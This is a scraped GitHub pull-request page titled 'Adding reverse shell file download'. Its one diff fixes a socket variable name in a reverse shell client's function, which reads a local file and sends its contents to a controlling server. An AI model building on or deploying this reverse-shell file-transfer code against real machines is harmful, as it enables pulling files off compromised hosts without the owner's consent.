Skip to content

Adding reverse shell file download #42

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 4 commits into
base: master
Choose a base branch
from
Open
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Prev Previous commit
Next Next commit
Corrected socket variable name
Corrected socket variable name
  • Loading branch information
wi6n3l authored Oct 15, 2019
commit cd7c8e0f623c28301c2a58efb105a8bd3b29fd4a
4 changes: 2 additions & 2 deletions Single_Client/client.py
Original file line number Diff line number Diff line change
Expand Up @@ -39,9 +39,9 @@ def send_file(file):
with open(file, "r") as f:
file = f.read()
buffer = str(len(file))
server.send("#{0}#{1}".format(buffer, name).encode("utf-8"))
s.send("#{0}#{1}".format(buffer, name).encode("utf-8"))
time.sleep(0.1)
server.send(file.encode("utf-8"))
s.send(file.encode("utf-8"))
while True:
file_name = server.recv(1024).decode("utf-8")
if file_name.split("#", 1)[0] == "(FT)":
Expand Down